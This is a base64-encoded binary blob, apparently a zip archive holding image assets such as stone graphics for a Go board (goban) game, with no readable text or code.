TJqpSDIfSQHW+VRpnMRjtGmPXwKOIdsX0SX+2F1Cagqp8TUhSRxbFJl/LPTNWiB8iy81xYAs+imovHKtZKf7Nu0r+jeT7Bl84hfsbUjyjIGqNNt4amL1pQ1pfSoYHQDK/lA5K6tTD5HRzU59epJe6IMRnshZaxImpI177SArqzAchBozbj+25XKovdEfwi9dXKHD4Ayrg19mp2aTTvRaAGHRO7OoPMzwb917IjSmHyFBzauiRY8uKmw7lcqkMjVDrAHWg750F0oCeKRuKaNMLTmBH5lg+qeqK/lwECAQd3GtzLs8AoTikD4AFdhV67hI9bgifqatVdykMj+lUWXFqKUgbL+ueGBaHgUc/ssosP6bZfEZmjZe+xaCqq1Ucm3jGTNvRNC++WjtERcFQopEXrFERyWwvmk2f4qEMC7QxzrqkrqmwteyMlZQP/ij3676eG1d1PMt2m6RuXhtOcJKJlBRD7SFnhIUlrcszcKLJrz69G/WNh5Jf1f/0LE2bBgFm2ueTf16CpCIu9f2rS9tECyZCGRwjfmAjwbIG+GGGFMTNVwcCMLFH89KizslyXUlehoygrgXXpTKnMrtmZIqFyKJgEe3LgUIuW6A4R6Eh36gADN2xHivLkpQkrY+/mKGMNML3eWze2PKu85mtJB3XQ63SeSrLxAOs/S8nPxxwQ2iWM8COHYPJSaIKgPHAmHX71/AwN7ENiSJCkn9C1bMIFNTzlGm2IiENtPxLlMhhNQ5TqO79Yi9a0tmtQukGM9o6JejZ8K6sFwqISWXSU3XYGdMzUt5SDYueljpIsw1DQUUQRTVVU11GoWXyHGAI7RcPj9mWlFiBn9KpX3LlvghdGnuTnBaC7AeoTjC+9MUSlzlMwP/LGMHMS2Hgqvz89Y9vqQcgWhNJEoIoM0pO7U0XybogicPbhJLcLtlM9usvrgH5gAj1xIAmhHt35RhnWJvDIbenJaGgIhcaYB5RsYnKFXl1OpIlHkciQ9S0j11C4n9N4cthVFf6yvIZArmmyVKB7tICrTDWuM2HCaP6scgee5x2mlqoSDwXhKT/MXgDIutaiZgjbNYj6/uuE5+5AWBS1wwj5G4WN0+V+oZ3dient7v7HzSHj/muWAe1KrWlaejppC8rxeQob9iRxA/q0928WL9R6DwuqXEiEd8XpujptZjP2p3XbcD050DKrXK2qVQU76eSRBXOVK5MmhR0LPb4gRwZgabJtK9uPLdFs+pZOJEPWFWdAoz2BQm+2wOxEEnEY+Osl8yxh8PnHiSY0lBI1Z0uE+UHBaVL0BL5zm4AO9CG73l1EQHoEsnbdSYkmEjNcZl544wOJ6mAmtn4n+voPKkN0LgSfzXv5GCb2QdAJlpq5wWUgCi56oSregaOzqpak90wlJmkQ6qasE996756pEZJmXbr5SHgo/KRMbdg3JZ173u5NdEL3b6DMhp97OPzVqYAylJudawOJhre/NUIjqs+vzHfPR1+GYqFbZeBtlQPBBhEqigPJz1FALP4Rd++sLSSwo88RoqEHLw7Oys46wsVyd+d0FO2TsYDv7mhER8mmzxgQWa0hD60z+BHV/n+Ttq/f9oLgFJ0L+Vjt3zKW2ICEdV6AD9V9lIYGugi2ftOJmAWBfhGOTpC1ogffgV3R4yVPsM9UI+AkfJwChME7t0M0cz/NyG48mHzI4xHRqG5IB+k85/zPbEiLLLkhZxCuNTznxowUzVsTSroV+HdIZJzb55LMCrIgfxQwFOa/6O/DKJirwlOaUkFemJijqnMDA/WF6hgwFfGKSBQxP6dpiopW2jmkpZ6FSMzIMRb/n+iyZSvtYpzZImoEuICSNS0zHNJL1veWzUA90QzI3Werp7oFrRomQnqWb6N0rKt1edljCbnrwll0rPHUbhiYvunjJPhK0qxfpGsWRR+veAyhP8lvHS8bS3BbG/0wag+DTfd3diaIZZyROHNMH4v4SoglFk4OSAgtAz/SKHJQTVyVK1tQNvqL/BOc6wKILoG0RG1pSKNC4Qeslx0kdPvJGaZttXFElP+gwRjiwQTl6AoncoZx/DSn/E6mhzlORvxkG/dmnnIOiDT7n+YzgKwG6y+JA47GRk6lCecFAI7q8ypcMRwdCfzRspOTsraFETvh0ho06y2Eb595SLhbmWybeQx3nVBpHk0cWxoemvqD/tspyANt/ceEfLsslV9s39lrWQcpD/afqKKmjSKpFpwAr4Pu9HQftlIRQqs4bB9D42apHj4Z3U1k2Y5s4/yTJcjDc4uDVjQqFAvZFO7AwOkw4Q4CyEV42X4chdEKFkwIhnDNnsWgipJg0o+8QLNZlvdqJgP7dBJzR0AhTa7/75Igg/9cOLIQOK6lxbCkIFjNtcoipz7odSegkxnl/hvE036pO5IDrZowu1sBAtXh+iCqkddPQTpscz57ikCyIDuO11qtb1OTo/lNjDVhkBUBHwXE6PNuGoAsG2FqcT68f12AxUIajO30M6rbwy1eJgCb/WKh/tWVXeVGHKAY5BfEm6X/cdUUUHXXCreGYm7SnvkpOAsgM3X9drz/tXpRZB7mQyDkoOCYiXzuoRLTlwoN4Ovwb6iGKFj9q55zqSoln9aQmQj57fWrw8JztxZ+8AbsIw1N20M5k4q2fjmABdJhUBviS0DdUEQrBEwPPffLklLoLQ4+uRp/q1jQX7RudgqDoktuckuAYuHCgrYusJWg8JvJXpVBLMP6k46VjGB990Q5h97J1+DfYaKPeqDqrNCj+ozjUlCpUZHkbUv4aD6OkzIvMBf2zyO3gYJlDFyUjNPlnnftbfvXYits80SOCoMNRvy5oX33YfxfVj/s63U7X7KYt5CoQdrGrVLvdLmx8ImSZcDINe3iOD0ixzUZxkVTTE+S97cH86Gz2jLKRDxcAwXEM0VaR7vN3IeX6+JpsoY4z6xn8ZMtH3gHz7Z8tj1t3/V3FZSEkKrS33q0vfX/uzS0iRDaJZG+/Kd7HRRCRlDQYfnWaR0W+iV8mUQFa1OjegxdUBwLi9PWiL0jgvgbIYhjma1A5KIFDjCCHJTdcBENXRjQFpBMVpOxH396HQxjBK879mkjP4d7WcCIIPmA6+SmbMYBVUoQd9BzlRGjN/xrT3DxBwAKR/JFFHCOe5UPgmL3+qMUdLgKKe3G0mrPiAQq/y/hUbOtWoVDfhSEI6D2stk4lNT5ATAnOWJ4zOjo+vcHHmmmSeR0ZA+cUYdGMBXLb+7nsKWF6xhhmm7CrtEZVmPrP5f9V3stFgc6g3M8mBSWhHifDMUf32pIJhrGnGfP69lCwPEKhPEttIjb7DlRV6990TLhCPQsUevKzccOnEhUMX3pd3Ldsaub/12XZFHuHMfXZn3PnyZDy6C9O1UTDEmi7Ao/Kzv9LIHZiMxkS+iOD/5OYO1118UlR4DWRvtprbUPdjDUw+aG80ok4zOha4FyihU9jXRnql/Vfq5ECOYuwZ/xdyeCED9zpeymSCTgj2n46nVtc6/6xqUnHzrgp3kVg7IyOMWL9P2Q4tizdJLAniMvPivD4g+/8GZX0xK22GiAYPtD17cOz4d00gC499BKMbtgBaUfy1K6+OLYvr/3VkPigfADz8m7o0qIZsvDdv53jXmwCrtVkLXeocbqOkwD3Yf+NwzJaV7+ozVG7rsUKOFrSrlbtpsAFre8zVBIYiWp21U6BgZyCOLrXPzWWkjnViunDkheVLjBcqTFgRks9cAk1SLO8BPNuvS59SEROGfv+86TJGkev3gBBb5P1BMmhFAGyXpdzSsLaUE0iGP7KZvJztRHqBFkQpNDvlaZqQs3kUjp2zaUz8cECN2DWsDnf6FP8OOf5l6GP8pEMCHj7akgPFJ9xkV2atZyx1h4xZ3hUphv45RNXJQ3uvHjKSGkfs2QCjBJSLB2d0+NP5FSbMKxgPMlznj7FuCaeMNcDCJxxwvsMxAkJkLVlAGpDCZG5qgjYzQn0hThrtEuAL/dZPoCU33L/TOIPPromz5wMyPQh+eHmV0lT9W6mctUkfvSU3RlB1gMp5O3rPX6C5CWlYsbr//jkLrWezr1o1xZes2d7gQ6v7uCEe97TdNIKnPXu9ZGAZIf++xA3VLUxkJ9V3tIenBb/pnpyngjZ27RbfMOui4/nPHInoG4seS7JZdZJSesP3Uvcvo4m59ttCphO/mXHP/+H+gxV83m2ZAu1g7SkrBnRnWVu/5bgTEvQ6OzR7TXDNXSHSzKAINbdSO+x/AN5hq1RE5Aw8XuUApEWU4otv19QoLaknn6ctED3uS0EQWLtSMn2CxJ3hJUZcqQcUTTZ2aXHSsKe9xvrTBlzI25KG5GDeiCc6WMA1K6i7YeuMTjHd1JXob3NOLpIqvRo7MVlAOXmp0nuJRp2F0tdohnbx0Fdx1zSOhlarX18rr2klu5Q89vgf7ETTzr12KLqhijDB0suLJtTo2zhbCeUsPfu379/ekktqWLr6/CB5v9Ex/AJG6RAkTsFougw9snulZFiv14PrpMq76W87IGL98a4BVzUuy62IKvZhV3vMuguT4bAi6kjfBPndp+9L0FESipOLDAMFr2EnBqqk0SCFR9AFvPszvCTTLcW6xnTj4Z+y2h8DzDqSlPTVDeb7HHEsoHP9NsF87MWbtubqqKGibtcg4qQDY7PyMwcpasFvPykHHM0lzQ2upvScw8rIUc3hy6qI7JQlxVzsvCN7MbaGcRbC3v63kgGv9aoZtD8LMEaZOqCyGgHHm7QpQYG1mCffQ48NENIZDXpXlqkdTnky3U/uN5jIuE/4nXtFvOP0LIAB08CKJ6GXjJ1XcCGuVRaUAdOw9lYleTu0acc0iugV48JVSOKVmDf+p/YWl85rQhUWlxVnSpQPl+20XgOkk5Ctoaor82yv9f6zc3NXbyOnnkxdDxFQ68/1yVmW6lRdTK7NDQXv1Vmf/zogFX3pjbOzLQgD5WallZMkEJK/KUgkb8W1RvfDaDg+0JSwbSIBsnvNmP8u9eg7zIZ3FLjsPPzgpRl/IqnHa8Iu9TcgBl8n0+KQJeYlogok/C7CVzMMDa8DyLp17BboqXhbMxSwTBOqIrGkjKPhqrBOoO9vmYFfByh8lolxSHBzTnVpFRjAENscCeLjos4M1wpoJLtNuwI894t47UHkxMKvfcVKjHoX+rtTey1EQ2LCJ73krWh8CLvl0DX4/LwInsLUeAucMZyskvOxaMa8uf28gaDi9++ru2GSDJVyhkIxYHkHVQIDxbYn3PLwvh+t4ZgEp7ms3rKdMhjDI06mg/P8sT2uTlovuwhBioy8oCKiorR7gxJLllpvt8mdrwliTkU9C+13FJ5yjKnZBO7ylrsS87Pl3MZGpqtfkzr7qY6AKXeP9XtoWzY5SMwqosCLN2Nv+nG0IYnNZBjU77c3SShk83de1KEvnbJwzMZGgbNJ6y8JvWdO3fO6T+0VpOQNETjvXTgaX4hzpX0g9rxOjUc2Yn687uMgqJBoxzFH/o0v/o04fFlxY50zDqvrGLmwUbH/BBZRoa/PG8zwAHPIqeUzo/E1mDj+oi+ckqWDM36t8sSZanpuVaFWvn5mYnnNBmKKfE4tgQGVKc2Lyqkw0CMxLLgE4cQ6MezDKDHdHBKXVeP/MTuieTEVdnV5+0ASsyV6l1zGsiXVzX8f4JivsD8vHiBwMzR1C3CH5HLV+ED6csdPnYtgcWi2qda3xKr8oRUIMfFdaMcuYkkte6Wrnu2OTVUSLnlmI3ykVW8Ju9o+tuz6+JhZf95EBkgCNiUPFmfvOtv9TEx31soBeJx+6/PXoBYdPO90OgB4sOWJhPGRGbxCvVPaFxnlLLewTIhHj0/P2r4z7aOP3Pjrz727wZO0yC/R6jXAIkAc7wiI/cUI0jO1WtzD9kmJyqIrxvXHWqCYzOeldYgzcuxz659QZ/Ja7KCeXv7zvrLGiR7DOZqqslXV/nYxiUqCLT/4Uk8aHXYzAR2L/SpAEMdHVkBTYRHJymFXYzsvDTNo8AWV03lL8/6wseu1VTTakahMEAEDY1/WVMDMDKOn5eMun0ZnzUzXKhdmJ/HJsxjapK4yiYIGlSd6PRUK5zG4h7CfoqclfJrQ43ZLu8RNmHJ+Odn2XT9gAZ1d6upAuXFYxuIOEuWP59D0YL5d0QMKMRr8Ek+Ao1Hy+ywZKzrYbyxfu5AFUFUJRNSnBTrtecmhq1x6Hky7omQwXu7u3/BQUOI9qbA+CSHbmcx3hwOlaCmqJsTnZZ5ZmTrMX+sXex9Nh4faeshETPAvMWbUXfhtfuosQepO3a8ecA+wtYv08dycF2jkgKWjtLt1dfCvToJn4j2ZZMXCHgLqnpQiAXyg4bN89Ng6GOISaapBHn0k3B6wuOzr98T7RYYQg/KhDeF9d+7lZEsWfWC7CDYbQQ3AvRBBjM+9hwRZ8HSMXj2wnGhp/CHyotp1xNQkJjk+jyVtyDX81Flzicf7xRgIQL9Bf4cCQk/7xBbcq/tmlnT8CtpiLdvEXDZ0VMfrxg9sst1MhNys/5QkXM9eud7NtCx9ej/S1DxvVaIuzoHqew2ifkFXhegPuE4B1ZVjMRwgbFkCIIqTeJjCcIfV7MKUGPxsEh5yclnhuU6DS5XZho67f1c2CHSHO2XEYYDAFa5PjKr891SPPx9+NpT1Bi9zrlBDc5dlP69rdRDiR+cyZaSsGxoTzsbYlkhF/Fq7D/yjWsweqE8rWwlUQ2uObQufbnYiiclbVkEjSd//lmIoEtyCiNO/0HKWkyUDFzLZkh7r/sbWbm+yYQ/6W8kYZQuR2KPEOx8CZx/qD/zEHTW7EsS4QmN1/rDhs7DIRqgbp3+22+URe+ByakYtOB5vq77iZrs82nOEhlsRvRzUMUTTe9AwLT8ziGQh7Vvgfi8AzFbKIW7UML1tM9vbbv2TCKgm1C8m/cS8l9rznmYd3/qTptlvZoS36RMymoWbDgWfAZZ99UWE8dyCiXR3/SvoinAcHZ+Zw01Rc2b2oVgY0p9kfkv6C/RdkGEVD+H34MSxw8tP6VUZF55VgqCHroJYxbbziVVVukAfU+18fqG/NJGOLM1X/lt76KuvWIrt3fKV+plROWIH0N4+pg4gjJ3bU4uXbwUqq5Sg/5FDBIdpGCC3lVr2nl8Z9nI8+IXJMxnYBVzLuEU/lVuNRQV1Nbn8GyeBGlKkzjWZZ/aXJlY3rJweUX63BuHhc3IX9qDvOp1IvpdRNTHGkY4Xzon0l9X2uz+ADqLLrrSf60tXAiw0fP04XJ0+awGSbUmZJuw2NnowQkhJVsjOgdcKxlb8ZljdbioaEGyrEWu4DeRhzrvKNr3FLQR8rl5V9LbbSXk5OQs4wb7fX98/oZr15gUABhVmKHK4gLd/eWmGoe0yVem2i1tbLQLTvCn/KRmKjxb/9mpNlovcFlJiTbvpXNVNWc7FTV2XIJPKui+m0nJp523bYY6zmSYjEvwNxVdDispl9MnuoiGPhz6+RxBq2wBGfxBrCxWNpbwg6aLdEKtMUlRAbHiSX/4Ef5r3++yz2Wl++hUr3INizZh974QdtwfRTD/4XZX8eV5pPdRpXK7CDWGBKYMvVHO/uSErxK/1ajs1W9xSeFyxaqESQSqmfr3Ts8daGHsF0oMJP9SsUXeZNRFmLcg2J2unZo6ylUoMdyojejr59yYKfL20GnqZ99qKqZ2/pypczH+scetfAgtkLe5UYvzXbMneIthFoMyF/rQrDRWG6FHWfUT9de831cg72cMv+TCOkGZN4bT7inHbX7xIzeiM/r8Hm2/Ro3d/W8DwNskGK9dJD3YQlxGmKDhi44ZHbIN49XKdnsOMocnVP42HnYnVETm3/B/1lpercrANACSd9371F2cxiit7mmRybvpw7p4o0P+r7wHofedsQbC4B75UXshNnZKz8iVWwP752DejCRVFW1k+ULQUmVK+4ym5ge82Br3JY2woa/RHEpmbNxaJwu6srGxQtyD+R32151ZPtnWYJ2XcS9Wqp8z4GRE6vJyu5tgtvb6y6+OcyFPwynaHqHDJCH9P+fl94UQ9z8W+fjlxPEoejeULOAa5Ws2gOU+CkXPOhdyqQPcj96Hl39yocx7FN4PQirVRQkZ8JbeYZ5O/mos8vdripBSSsHHsURxyWujmVor6Wf9Yhi7/PJ3FZTR2bGL+Jc+Wnq6f5L8iB1WFO+R+jrA8+rTb2rir591ln+AxGsF8DXCjfVFgBS9Ys7fr7ebGAjlGSnJ8d2rDD3EbarX+jFxOfrzbUrvA7ftouF7gR81dg8s2ScmAs6AjDMVr7fI32GlyY5s71P3nWDekbX2Cq02zBvcwRUKhbYv3lWfa2ymwDzSEoKC3jlsXd+feMf1t4qJ7vRadWN0/lQWJNElKjTwrBRroaB2iB9gJSTGjQUOsTLeouUo9C8rszqKRJ88471KbovY+GHukJBMfbc/P7n9hmnC2kXB+0Nljxz9YKRnf4SNgUISyyjCHPB1xEh6gmbK17HHy3Xl6rYidks+ly6Vv/W3LfhcOu3CIg+xevbBNw4CpBTYEqBseh2McCdbtnp6KIgjjBIqSvVP2Hjd9/Ki80wnB3D4g9xfPgnfU4foBbroyoW6PRedFwpsvwn43ydN86tDFECTuh1XmwMWpn1YlCFWS5bagodUYVNvTv9YvCrzCNeLIpx7QhMrz5Xml6Lj7pqrM+1JClko5LPLijbxLPiHbhmh5Obx6it4DMrqrn9dEKHpTG1O/c9mbjwfDWo3E1arZitHAIk+y8CDwl0lg3neYWWE39oKIhGDy7tDqkpSM0yFAhHl4XvRK2IsPvxkUJf4kocR5NCm32eao7hUD1cfmiWQWn1dVHCKq8I7JAbDblL2Fhm7Ff2/f6GBCY04rtxmpE0fzQykreSSUyBw9/f6p4mWut/dexw4KKVdTMlQt9MBL7r4wEsrzKfFHHZR5ARbUPYO5ea02ltFZYlXbpqFSwdFTd6sDqqdYoCJUTEAtPPGBUiBPyZgc0CtiGivlYVyP91i/8Pje5FhJiv2zcslPpMEt6Oi30MFbCxjHEOBnQXMj1xDR21SmB/pRpS9hfRg6ZuxRdLXss1h+kNpkTieV+9+mZWfOs4iff2/j7otTL3tQwXU5vUrSR8abHS1A+byhllSmOIyOgbnVTMhifkAKan3mcmI4yMPoPitBX/9663Kl1pmwCz3/0hweVL3gOsyshL2Pn8Lg/581fT/mo2kZ9FweYOn6LW77uB/xyginzPpP6ugC1VIQ00pvKe+1D52F7UEXKjbfCiDlIloVPTYcrs9Bag1vfm6UyhtqEsGEqCBXH1GUb7dJuZojUghNhFd8MkFfD33geUsX32FpICGrCfyy3RQEsZbZSmjGRmpqfozHi+rYVmosCla/yiTBLNLn2dZ4TcekSxawfj4uPq1yYHp6/9OnUTiQyYRPwABzjKTSxIM0i9JHzdylho3z0JldyPBnOlHukCqIXNgrEP/zYqzI0DgwjMa2srzW7o57Lyv99XSFKabArQkrfVIpS/r4/xd7fnB+JOtmD/g5dNgTIbIRzAMH/lXYad6V+u6csVVkwS9SGUCaC59muJF32Mb9kU8ModFTc1O382D9c/dgbXxHLULpN4O6OQYsu7qyl4htN3tVU2wuKCOzHNdkTTChmShfj25wkhZ6dhY0cQlaeDXHNoG32NnlpaFIMPeFVxnwPtmlvC7veH3FvUO6G/9RH7hBjs7SxM6GoXpz3d3mnZ3TOl74dEl6hoaYQ0WKdWkgCQUCI4R2cpAgy48/1hKP3IMephyVHoLwsS4zE2sMbXo6/H/B1BLAwQUAAIACADZWG1Mw6V6OK0BAADgAwAAFgAcAGltZy9nb2Jhbi9zdG9uZV8tMS5zdmdVVAkAA7mip1q5oqdadXgLAAEE9QEAAAQUAAAAlZPLctsgFIb3fgqGbOyFEQhdjEfytssu2jyAwkViIgsPopX99j1IdtxmnEk6bM4F+L9zDlTj7xadj/0w1rgL4bRPkmmayMSJ822SUkoT2IHRZFXoapxxjDpt2y4s9nxyf+7t8ProPBNCJHMWH1YIVUqbMRpgQlA3/ptvlNVDQFbV+AUvOciOwZ2QM2bUIEQxiv5Wut75Gj9prXHyeCt7sHWJuFMjbbjE265nq+Rfho/Bmi+CKaW+CmaM+X8OCQ1nNea0IDnLwEn/ci6QyfKSZFyAEzOCE5bHIcUB7DuvDQg3GLXXO58HG2Dsv0btf0B39PfhedT39E/fDKNx/ljjYxO8Pa9JkZa7ElFYpOCZSNGWlQyiqCwo2fFs81bTA3q10KeUCMoW+Jsd2RnNBBGiXOAZ5TnhefGO/uUz+lm/Sm4PrWpRuJcxm30T9JpQwQGeUgEi6eY630paL3uN5BnQGMkxkpcZBYorUoz8TJxHYmP7HsR9v36Smzhb7141AEoe1y2wvX4bBoXt3nrzuQrbkTx+r0VlcIO+S8yaavNeIiWUlrfy28Oqiv/2sPoDUEsDBBQAAgAIANlYbUx7AEHgJiMAAJIjAAAVABwAaW1nL2dvYmFuL3N0b25lXzEucG5nVVQJAAO5oqdauaKnWnV4CwABBPUBAAAEFAAAAEVaBVSTb9Q3pnR3DwRGNwijnOQAydHSMEBKukFHSKMbNdoRgoISkhLSNWIgJSjSQwxigCDIN/7fd863c96z8958zr3Pc+/vvu+bbGyoQ0XOTn7t2jUqqK6m6bVr10mvLtLbRErZ8aNL4t/1QFOd+9feTnDuEG8A7pAHkGvX6jMpzp1uEe/JHutaB167ZlZ3dV33qB1+TSSyBmlZBZn5wYNCnQLcrj128vQNkvB1CwLKSUhJKHnLxhheu3bnJlQTAguz//mFguDmbr3ij4LKyKLRWP7ASawrEm3gi3IN4OXfIOfn5efntUTS0tPTwh41fbLxesAyYOGanSBek8D44gbf2CjGilxL2Hjq1rQIYw/mzcNH5gAIWW7S8PjMygke+hUdfvzzS2RJ46RSt3vtpI2r4nbs8eLf6JLDXyfN3X5y7Gh0Qm+snGyfy2VfvW69xUQOx0ZM+Mtzr/CmDnM1IM9pZAlycpRnpC9ZnfnfhaxM+E+/kaWNpgP6U+nwe75Zh65xiszAQuCWuu6N3OHDzZVh243QTcl4CrCow4tMsuSN7Y1bARWK4VgTRQjWslCoZSQ1IWXo3dmKno309vVaZOjo5OiXgBTF26yGtH3pTA0OrfJh6VGm03rNHl3A389Lno+5VSjCOYnMFNQmyebPA3mo6FTDaeL53ZcrG5T+WKJrOMe5nr3octnly3KmfmrtbeGiN3fH2P0NeAuBlTxDwzMb6QfmUNGnsxq7iIkFZdcmxQhyUNJOv0lAUYchK9iA4kPTYdJ5yjLfm36ckyKEwKGcYHg34ufMfZ+LUi3tZxKB0pxc8QyaJz3i/UX3M89DBcQ/Kqga4J19SQ81OdGrAJydN6rkhSTUxtinmZUqouIHnU7fY4QHz98NpoN5JDO2LWDjhU6GxduHSs3w8Xxce/Cuttf822jCikWNFV2XX0aUkcesnWBG/irgBc/88LsxoLuM6cv5dw7qn9sCt/GFgRNsdhE7FWVv3nVFEN6/UvUJWvJpSf/V9fcX7uJkRT1iIrBYNuJXYMnScPTJl7sxlz9bVtTa9wc5dObtI3/iG8YkOIoif7WV2X0ISVfwXpAixB9A2swzGHWgihC5zDebGkjmVrTSGb5Mx7bFlwv0FKR+OrI+anQrQ+T4/Ysnv1rXM3Dy8w9lwY+/ffT4e/xzfU6XoArfYLiPUbzPCVGEfKKpvOxymL6hYL5823uxwS2o5xZLmm/raiKu8+QrhwX2ZeRcY7F8+05lgTaLXRBO0ZOytGnfxMk3Zf35Y0RVRurGFyRzVXXp2o+FepeoyMe7tS0Z3FF7PXW948q+ga12bWspotofQn9zcwV/Mlk9zUPQUIhrDq08Y9D0rwtASgeDW6bvfxIFk0yq/f2BO5p3UI84bixRfasylqg5XDudwGKv+LnV3yWsOOKYW0k/R60QSE1T+etf1nl2eULl3SGe2HM8Ul+C7UvwvJ1TgnXIyXLgJP5gTJLH52uHkkqs6mlOh8Hc2HQiQ39PDwDEfKviVgULJe8BRfh2UWhGrHQtN/JWC18QVnu7icQha3vENCNMEXJu9yMnFGojBR5K6rN2L5L3VdNJWMnnbSsO/Ro+w8526uMUm1GR4mZES+knzXWyi2RONPT5/N4zaNbcMv0ZD0/Yt+u7rNHy83ahX1o17oIvuc6aO2A5cNkCN0Na7y29d8E218B9zzc8XxUp+IprJnw+209zV3FZHlk61CX9EGknQsEzlgdcGE031AW/nE79SuZ7J89k2EAjZtFbIe9O795e/RA3h/0raqn2AW11is7+qEV6QDSV92KxPd6wxr4z4iEQDWBksiqg8t1t7XT5o9juy/WndYrdbtiqEtBDqrVd0FRj0/RIRXNEktks9Zmg3V3/w/G7me6OakfVRlzvShwfKWQ/M7meSGdt9BSkskq2/jt+pHv/8rBd9F1HAKEcpOp5HvOP2kv5z4dlPWmDsW2tIWkvTpahifvv8eBmwgOnlcwEjh2rRECP4rGkfgTEVnkrz0U7M/Z8XWcyaku274aSD7/QnKpUApr6A0htP3k9RbUaP9O/jQwrPsh6lcYS+KIwMaDYY9U/6v0fzO5n+tST5tHefgyIND9GRVqkM6l26nS4V2hwveyGItU5u0y/zqYLL2P3LxMtrvyRFNOMAldtt/SuFbnndVYU0xruWyUjvWLCDhsA/9wgMMdBOcowIqhp4/0L2lbV0vCSrzewyjZgA9ES/jT8h5Pkw3a/lS4cnQ4nnf2hwQqdr9KWGrM0pA4i5jJb9HPm47/bcrmvrJ+cJkSezZSo+fLujXGYv9XqO9n4O/0KQiEOloz+1h7gNdcH+3V37KEfrtuDzLkxqJm/YDZruyT2X2uDadLZ4LaxEl6lvPdh1P6Afupvo13EEh1SK6irXVudusWLIKm1ycswCSpa0qGQMEUomv/LLGcBcQRenN56NaWZUC16Hq32zPaZmxG5my4z/6Qnv5dvqFUId3aqQazwD5BMaL0QGcLap0hlPD/ZkFGXnC+7RRL7xyXvOfzoZXZPCu6y9yd3tiL4nR1Go6kPl9FNxw1TsawnJVuzX914xXJnrNlnaZCjUTOhgoK/yNa3ze3ci5UpxisxnIrARUBjd/pVTjdQfQfIp4u56oKBDIfFQG7kXNELSrsGkedkWozNalMqcIwJbKqWy8YpLZ4QfCGoj/W0094E9b2JF76Mywx/QFvT68odFTHdyBm67L/eq8WbRK7DgRVznaYfdxY0t+7G960exy214CPeayHd3XxhGTLnrznF4zLCDWgN3C9uQY1CcsyMVIOX4/mVgpL7713euKUgMjwnacPET/5WIyj68ze/Xyvd6mJGbP9SKSPq5zsESPPd/J4T+O8Oit9KSKLgvjDdwCTre/WLJzoBIaiq6k+4o1Gttpc81WXWeTzPg2WG814BemQlV0R2RnzSBszP28u7ye0cq5BK/0wgTYt8JlIU8u2+PlOQUfFHsAn2My4lyG2WQySw1bJMKaf402BYJaCMETcwMfDJK2KGRjxLQcUA4cwo3J7RZpU0ONOPOZibunze08S/xQt5bAt5Zhghw7FELIut3U+XnkhM0Q2m6ZBzp8Z4x0gJp4cz4oLHe8QpI9O1N9/y+t7NyO7pn2IAlDHVKvMvItLIueyWOeXEd9yTyEvGSc5K8ZKYAJ35VuF/1LGNcVoOKigXKa5cDSNayVzChvx9d/6TkocdEntvNLZhsG/eatJEhxP4iO3SqCAphzV1ilRqd24NQ9qaYQMjmzsP+fOROC1szwT0/L5mAnaLoyUZhcuQkDpJmNireqjwUVBHNrZqz5gBQCMCNbK4UzPosijVwuSDewTEad4aY6YoGg8Ca2+WCscYgxe+/nJ3q5TuB/h31q1qR2AerfOKULpM8y4yy27jvcKW17nd9REWfPrYsoMpRigmbjzAASib+lIg6XCTDmpk7FPTUVbNaldTqUvcBpoJw8w8okplATjGEfjF2ZFTeO3OhwAUlj8xCxhC9ve0AvRKAdnnutug4OHcsPoI5uHdJuWHoMZWFcr1VLF8QGptNgsWn4fcq+TWgNJ6jw0c3ppGmXK0MAVRarG8IoNrnOX0mi4HGPeUHUxrkjRKXMIqu1yOjen7OQRU2ZoegPlPN/3iqlu7KupINxE8pVXLchA2r0X/U16nkZ5PzsQjxKMfQf/IpZ6yka0sFQdgKdHZL8h2ytCAxeSXZtZs0gotcRqIw4uAb5E1dBQKWRXvnjTR+jx3xPQ6Mr/E4iTpsivaPfabl1lDH9nOj8tAvHMn9c8GvJzAoieJuJF3qalYsfYq2rxsp1mJ1C5MgDlLoMSfF6mjoVSx4ml/jrgb9WgN7lyUlju0K8xZGPcE+vvvvMyQ6LLmCoLPVHNlv2vP61l0/nlbufVdtr2LBdmaFjJm8fPxj8WZ770Gxz5JEu3WDDWHTjJ2sInv356l8HyoKpwn2OzIw18AJZB++mdaXqvWTJQs/s6BBnBtbZYlsSFXVjkRv+C9uOBR4Vfxm52V7rp+0j8BPYmsJS8IFHMNIT8/70vRgeRIRp6mxRKxRF5wiu0tuAFxK1N//eC/Pli3PP9RIzxEV5Ko9KKphL8PLZaXYujLhcrRCPIfb5ey7qPL7gbnfV5x/oNKhy9g2w7z4IjWB9OS5hwPlETCJYoLaO1gjRIPkJqw27ulfmmqBhiwcZ86csLFhsy5M8pwWhJGUYRcXtcCvSf/HRhQ54mpyLe1x2FmDjgadMDpngKkEbYzkmYUJ25i6M34bcdijSC68bP+TFMY925pR0nYWrJTdNXql2lPgzsQKduG/fV9wQtqucUAqfV0nZOC8RuH3pgAa5ILOnFu9qiSIOZoUNLsgSe0+564iqgsODy4Lke93QM+058Jg6ntOvaLB9IzlbHblqPwypA6N4uIvaapfmdd1JaF2RW4a0Wz2Ek1errUGsEMd0svxV/zyNeVuIFw7ogF0XSesUljmlRrDINFQnaA2GS6RNai2J7LgLgGzP5N3WjrgC/MUm8XLwvpsJu++TaB3HCXl6TPAKclUyAwKvehSMutmTyaDa1RwvNiLvDOmR6tpX5EXdNjL4joE9Qio8swwTaPii6a3KSttmygdjCw3JzwAhgG+wriV53Sq8l0/4QA4Bg5wjVZBrx1WUMyR/2YfNtkQzFnGCkSYeUzXVp1sR3IXMCvtu1E0KvRcjOZdiBco/fn7TveJkpve5tD0WXsKk9ElNuJhcXoEllOYuV5uDW+To3G98OcXhoESWMTk/4lVXHO1wduT9T9g/2p/JFVgwdDzrPKSSyTqVnPaDAMpgnUhXi+PCq2mfqyg4cJtnvY7ZgumwbMGKCncyJXQLVO7wpVtnDnr7n6N9BwKjoqhOLvpo4GZ88YqavW6DAtxAp4FWnnkq0NILlhAmBBJZM0hrsD5JP4/oLxmzHLePXU0RA0M1fOO9QgzhyxAHR4QXgiUhS+hV6FVvU65+HLC8YZEtXKDuwSJiaq1My/0cW80i/Di0A6NKfjqvupTQw0BFIVeiIxKB+FTKt3dNmHMu/5ZEJLI1ByKRL0gKVheV9VqRq26FMRwg0d0GdvbmlNo4TM0Qg01snIhi79jK9dlza9JG1AltyT7LFzvuP7uH7nZt3W2aTRSLYtMylV4GsHJnZV9BsfhOPcxmU24ZrIC6VTxIPnxviFZMO6xY6yRjWREzePB+7v+cJMFaMTmzA+iG90jjvPLJ2D2TWycCwSffdr8P354jd82TABDok84+K2zfFHNb3q2TY4Bch5RjnPw+S5mw41ZNxmg38xDF7NQlZv6LIvZdC1pMfP